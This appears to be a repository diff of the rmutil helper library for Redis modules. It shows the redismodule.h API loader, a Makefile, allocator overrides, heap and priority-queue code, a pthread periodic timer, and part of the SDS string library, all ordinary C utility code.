int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
#endif
/* This is included inline inside each Redis module. */
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
REDISMODULE_GET_API(CreateDict);
REDISMODULE_GET_API(FreeDict);
REDISMODULE_GET_API(DictSize);
REDISMODULE_GET_API(DictSetC);
REDISMODULE_GET_API(DictReplaceC);
REDISMODULE_GET_API(DictSet);
REDISMODULE_GET_API(DictReplace);
REDISMODULE_GET_API(DictGetC);
REDISMODULE_GET_API(DictGet);
REDISMODULE_GET_API(DictDelC);
REDISMODULE_GET_API(DictDel);
REDISMODULE_GET_API(DictIteratorStartC);
REDISMODULE_GET_API(DictIteratorStart);
REDISMODULE_GET_API(DictIteratorStop);
REDISMODULE_GET_API(DictIteratorReseekC);
REDISMODULE_GET_API(DictIteratorReseek);
REDISMODULE_GET_API(DictNextC);
REDISMODULE_GET_API(DictPrevC);
REDISMODULE_GET_API(DictNext);
REDISMODULE_GET_API(DictPrev);
REDISMODULE_GET_API(DictCompare);
REDISMODULE_GET_API(DictCompareC);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(GetBlockedClientHandle);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SetDisconnectCallback);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
REDISMODULE_GET_API(BlockedClientDisconnected);
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
REDISMODULE_GET_API(SendClusterMessage);
REDISMODULE_GET_API(GetClusterNodeInfo);
REDISMODULE_GET_API(GetClusterNodesList);
REDISMODULE_GET_API(FreeClusterNodesList);
REDISMODULE_GET_API(CreateTimer);
REDISMODULE_GET_API(StopTimer);
REDISMODULE_GET_API(GetTimerInfo);
REDISMODULE_GET_API(GetMyClusterID);
REDISMODULE_GET_API(GetClusterSize);
REDISMODULE_GET_API(GetRandomBytes);
REDISMODULE_GET_API(GetRandomHexChars);
REDISMODULE_GET_API(SetClusterFlags);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */
+31
View File
@@ -0,0 +1,31 @@
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
CFLAGS += -I$(RM_INCLUDE_DIR)
CC=gcc
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
all: librmutil.a
clean:
rm -rf *.o *.a
librmutil.a: $(OBJS)
ar rcs $@ $^
test_vector: test_vector.o vector.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_vector
test_periodic: test_periodic.o periodic.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_periodic
test: test_periodic test_vector
.PHONY: test
+32
View File
@@ -0,0 +1,32 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "alloc.h"
/* A patched implementation of strdup that will use our patched calloc */
char *rmalloc_strndup(const char *s, size_t n) {
char *ret = calloc(n + 1, sizeof(char));
if (ret)
memcpy(ret, s, n);
return ret;
}
/*
* Re-patching RedisModule_Alloc and friends to the original malloc functions
*
* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main().
*
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
* replaces all malloc functions in redis with the RM_Alloc family of functions,
* when running that code outside of redis, your app will crash. This function
* patches the RM_Alloc functions back to the original mallocs. */
void RMUTil_InitAlloc() {
RedisModule_Alloc = malloc;
RedisModule_Realloc = realloc;
RedisModule_Calloc = calloc;
RedisModule_Free = free;
RedisModule_Strdup = strdup;
}
+51
View File
@@ -0,0 +1,51 @@
#ifndef __RMUTIL_ALLOC__
#define __RMUTIL_ALLOC__
/* Automatic Redis Module Allocation functions monkey-patching.
*
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
* override malloc, calloc, realloc & free with RedisModule_Alloc,
* RedisModule_Callc, etc implementations, that allow Redis better control and
* reporting over allocations per module.
*
* You should include this file in all c files AS THE LAST INCLUDED FILE
*
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
* defined. The idea is that for unit tests it will not be defined, but for the
* module build target it will be.
*
*/
#include <stdlib.h>
#include <redismodule.h>
char *rmalloc_strndup(const char *s, size_t n);
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
#define malloc(size) RedisModule_Alloc(size)
#define calloc(count, size) RedisModule_Calloc(count, size)
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
#define free(ptr) RedisModule_Free(ptr)
#ifdef strdup
#undef strdup
#endif
#define strdup(ptr) RedisModule_Strdup(ptr)
/* More overriding */
// needed to avoid calling strndup->malloc
#ifdef strndup
#undef strndup
#endif
#define strndup(s, n) rmalloc_strndup(s, n)
#else
#endif /* REDIS_MODULE_TARGET */
/* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main() */
void RMUTil_InitAlloc();
#endif /* __RMUTIL_ALLOC__ */
+107
View File
@@ -0,0 +1,107 @@
#include "heap.h"
/* Byte-wise swap two items of size SIZE. */
#define SWAP(a, b, size) \
do \
{ \
register size_t __size = (size); \
register char *__a = (a), *__b = (b); \
do \
{ \
char __tmp = *__a; \
*__a++ = *__b; \
*__b++ = __tmp; \
} while (--__size > 0); \
} while (0)
inline char *__vector_GetPtr(Vector *v, size_t pos) {
return v->data + (pos * v->elemSize);
}
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
size_t len = last - first;
if (len > 1) {
len = (len - 2) / 2;
size_t ptr = first + len;
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
char t[v->elemSize];
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
do {
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
last = ptr;
if (len == 0)
break;
len = (len - 1) / 2;
ptr = first + len;
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
}
}
}
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
// left-child of __start is at 2 * __start + 1
// right-child of __start is at 2 * __start + 2
size_t len = last - first;
size_t child = start - first;
if (len < 2 || (len - 2) / 2 < child)
return;
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
// we are, __start is larger than it's largest child
return;
char top[v->elemSize];
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
do {
// we are not in heap-order, swap the parent with it's largest child
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
start = first + child;
if ((len - 2) / 2 < child)
break;
// recompute the child based off of the updated parent
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
}
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
// start from the first parent, there is no need to consider children
for (int start = (last - first - 2) / 2; start >= 0; --start) {
__sift_down(v, first, last, cmp, first + start);
}
}
}
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
__sift_up(v, first, last, cmp);
}
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
__sift_down(v, first, last, cmp, first);
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __HEAP_H__
#define __HEAP_H__
#include "vector.h"
/* Make heap from range
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
* push_heap).
* The element with the highest value is always pointed by first. The order of the other elements depends on the
* particular implementation, but it is consistent throughout all heap-related functions of this header.
* The elements are compared using cmp.
*/
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Push element into heap range
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
* placing the value in (last-1) into its corresponding location within it.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Pop element from heap range
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
* by one: The element with the highest value is moved to (last-1).
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
#endif //__HEAP_H__
+11
View File
@@ -0,0 +1,11 @@
#ifndef __RMUTIL_LOGGING_H__
#define __RMUTIL_LOGGING_H__
/* Convenience macros for redis logging */
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
#endif
+88
View File
@@ -0,0 +1,88 @@
#define REDISMODULE_EXPERIMENTAL_API
#include "periodic.h"
#include <pthread.h>
#include <stdlib.h>
#include <errno.h>
typedef struct RMUtilTimer {
RMutilTimerFunc cb;
RMUtilTimerTerminationFunc onTerm;
void *privdata;
struct timespec interval;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
} RMUtilTimer;
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
struct timespec ret;
ret.tv_sec = a->tv_sec + b->tv_sec;
long long ns = a->tv_nsec + b->tv_nsec;
ret.tv_sec += ns / 1000000000;
ret.tv_nsec = ns % 1000000000;
return ret;
}
static void *rmutilTimer_Loop(void *ctx) {
RMUtilTimer *tm = ctx;
int rc = ETIMEDOUT;
struct timespec ts;
pthread_mutex_lock(&tm->lock);
while (rc != 0) {
clock_gettime(CLOCK_REALTIME, &ts);
struct timespec timeout = timespecAdd(&ts, &tm->interval);
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
// Create a thread safe context if we're running inside redis
RedisModuleCtx *rctx = NULL;
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
// call our callback...
tm->cb(rctx, tm->privdata);
// If needed - free the thread safe context.
// It's up to the user to decide whether automemory is active there
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
}
if (rc == EINVAL) {
perror("Error waiting for condition");
break;
}
}
// call the termination callback if needed
if (tm->onTerm != NULL) {
tm->onTerm(tm->privdata);
}
// free resources associated with the timer
pthread_cond_destroy(&tm->cond);
free(tm);
return NULL;
}
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
t->interval = newInterval;
}
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval) {
RMUtilTimer *ret = malloc(sizeof(*ret));
*ret = (RMUtilTimer){
.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
};
pthread_cond_init(&ret->cond, NULL);
pthread_mutex_init(&ret->lock, NULL);
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
return ret;
}
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
return pthread_cond_signal(&t->cond);
}
+46
View File
@@ -0,0 +1,46 @@
#ifndef RMUTIL_PERIODIC_H_
#define RMUTIL_PERIODIC_H_
#include <time.h>
#include <redismodule.h>
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
/* RMUtilTimer - opaque context for the timer */
struct RMUtilTimer;
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
* pre-existing private data */
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval);
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
* and free the timer after stopping.
*
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
* timer's callback is waiting for the redis global lock.
* Instead you should make sure any resources are freed by the callback after the thread loop is
* finished.
*
* The timer is freed automatically, so the callback doesn't need to do anything about it.
* The callback gets the timer's associated privdata as its argument.
*
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
* callback, as it may log stuff or free global resources.
*/
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
Free the timer context. The caller should be responsible for freeing the private data at this
* point */
// void RMUtilTimer_Free(struct RMUtilTimer *t);
#endif
@@ -0,0 +1,36 @@
#include "priority_queue.h"
#include "heap.h"
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
pq->v = __newVectorSize(elemSize, cap);
pq->cmp = cmp;
return pq;
}
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
return Vector_Size(pq->v);
}
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
return Vector_Get(pq->v, 0, ptr);
}
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
size_t top = __vector_PushPtr(pq->v, elem);
Heap_Push(pq->v, 0, top, pq->cmp);
return top;
}
inline void Priority_Queue_Pop(PriorityQueue *pq) {
if (pq->v->top == 0) {
return;
}
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
pq->v->top--;
}
void Priority_Queue_Free(PriorityQueue *pq) {
Vector_Free(pq->v);
free(pq);
}
@@ -0,0 +1,55 @@
#ifndef __PRIORITY_QUEUE_H__
#define __PRIORITY_QUEUE_H__
#include "vector.h"
/* Priority queue
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
* retrieved (the one at the top in the priority queue).
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
* of the priority queue.
*/
typedef struct {
Vector *v;
int (*cmp)(void *, void *);
} PriorityQueue;
/* Construct priority queue
* Constructs a priority_queue container adaptor object.
*/
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
/* Return size
* Returns the number of elements in the priority_queue.
*/
size_t Priority_Queue_Size(PriorityQueue *pq);
/* Access top element
* Copy the top element in the priority_queue to ptr.
* The top element is the element that compares higher in the priority_queue.
*/
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
/* Insert element
* Inserts a new element in the priority_queue.
*/
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
/* Remove top element
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
* one with the highest value.
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
*/
void Priority_Queue_Pop(PriorityQueue *pq);
/* free the priority queue and the underlying data. Does not release its elements if
* they are pointers */
void Priority_Queue_Free(PriorityQueue *pq);
#endif //__PRIORITY_QUEUE_H__
+1274
View File
@@ -0,0 +1,1274 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include "sds.h"
#include "sdsalloc.h"
static inline int sdsHdrSize(char type) {
switch(type&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return sizeof(struct sdshdr5);
case SDS_TYPE_8:
return sizeof(struct sdshdr8);
case SDS_TYPE_16:
return sizeof(struct sdshdr16);
case SDS_TYPE_32:
return sizeof(struct sdshdr32);
case SDS_TYPE_64:
return sizeof(struct sdshdr64);
}
return 0;
}
static inline char sdsReqType(size_t string_size) {
if (string_size < 32)
return SDS_TYPE_5;
if (string_size < 0xff)
return SDS_TYPE_8;
if (string_size < 0xffff)
return SDS_TYPE_16;
if (string_size < 0xffffffff)
return SDS_TYPE_32;
return SDS_TYPE_64;
}
/* Create a new sds string with the content specified by the 'init' pointer
* and 'initlen'.
* If NULL is used for 'init' the string is initialized with zero bytes.
*
* The string is always null-termined (all the sds strings are, always) so
* even if you create an sds string with:
*
* mystring = sdsnewlen("abc",3);
*
* You can print the string with printf() as there is an implicit \0 at the
* end of the string. However the string is binary safe and can contain
* \0 characters in the middle, as the length is stored in the sds header. */
sds sdsnewlen(const void *init, size_t initlen) {
void *sh;
sds s;
char type = sdsReqType(initlen);
/* Empty strings are usually created in order to append. Use type 8
* since type 5 is not good at this. */
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp; /* flags pointer. */
sh = s_malloc(hdrlen+initlen+1);
if (!init)
memset(sh, 0, hdrlen+initlen+1);
if (sh == NULL) return NULL;
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;
}
/* Create an empty (zero length) sds string. Even in this case the string
* always has an implicit null term. */
sds sdsempty(void) {
return sdsnewlen("",0);
}
/* Create a new sds string starting from a null terminated C string. */
sds sdsnew(const char *init) {
size_t initlen = (init == NULL) ? 0 : strlen(init);
return sdsnewlen(init, initlen);
}
/* Duplicate an sds string. */
sds sdsdup(const sds s) {
return sdsnewlen(s, sdslen(s));
}
/* Free an sds string. No operation is performed if 's' is NULL. */
void sdsfree(sds s) {
if (s == NULL) return;
s_free((char*)s-sdsHdrSize(s[-1]));
}
/* Set the sds string length to the length as obtained with strlen(), so
* considering as content only up to the first null term character.
*
* This function is useful when the sds string is hacked manually in some
* way, like in the following example:
*
* s = sdsnew("foobar");
* s[2] = '\0';
* sdsupdatelen(s);
* printf("%d\n", sdslen(s));
*
* The output will be "2", but if we comment out the call to sdsupdatelen()
* the output will be "6" as the string was modified but the logical length
* remains 6 bytes. */
void sdsupdatelen(sds s) {
int reallen = strlen(s);
sdssetlen(s, reallen);
}
/* Modify an sds string in-place to make it empty (zero length).
* However all the existing buffer is not discarded but set as free space
* so that next append operations will not require allocations up to the
* number of bytes previously available. */
void sdsclear(sds s) {
sdssetlen(s, 0);
s[0] = '\0';
}
/* Enlarge the free space at the end of the sds string so that the caller
* is sure that after calling this function can overwrite up to addlen
* bytes after the end of the string, plus one more byte for nul term.
*
* Note: this does not change the *length* of the sds string as returned
* by sdslen(), but only the free buffer space we have. */
sds sdsMakeRoomFor(sds s, size_t addlen) {
void *sh, *newsh;
size_t avail = sdsavail(s);
size_t len, newlen;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
/* Return ASAP if there is enough space left. */
if (avail >= addlen) return s;
len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
newlen = (len+addlen);
if (newlen < SDS_MAX_PREALLOC)
newlen *= 2;
else
newlen += SDS_MAX_PREALLOC;
type = sdsReqType(newlen);
/* Don't use type 5: the user is appending to the string and type 5 is
* not able to remember empty space, so sdsMakeRoomFor() must be called
* at every appending operation. */
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+newlen+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
/* Since the header size changes, need to move the string forward,
* and can't use realloc */
newsh = s_malloc(hdrlen+newlen+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, newlen);
return s;
}
/* Reallocate the sds string so that it has no free space at the end. The
* contained string remains not altered, but next concatenation operations
* will require a reallocation.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
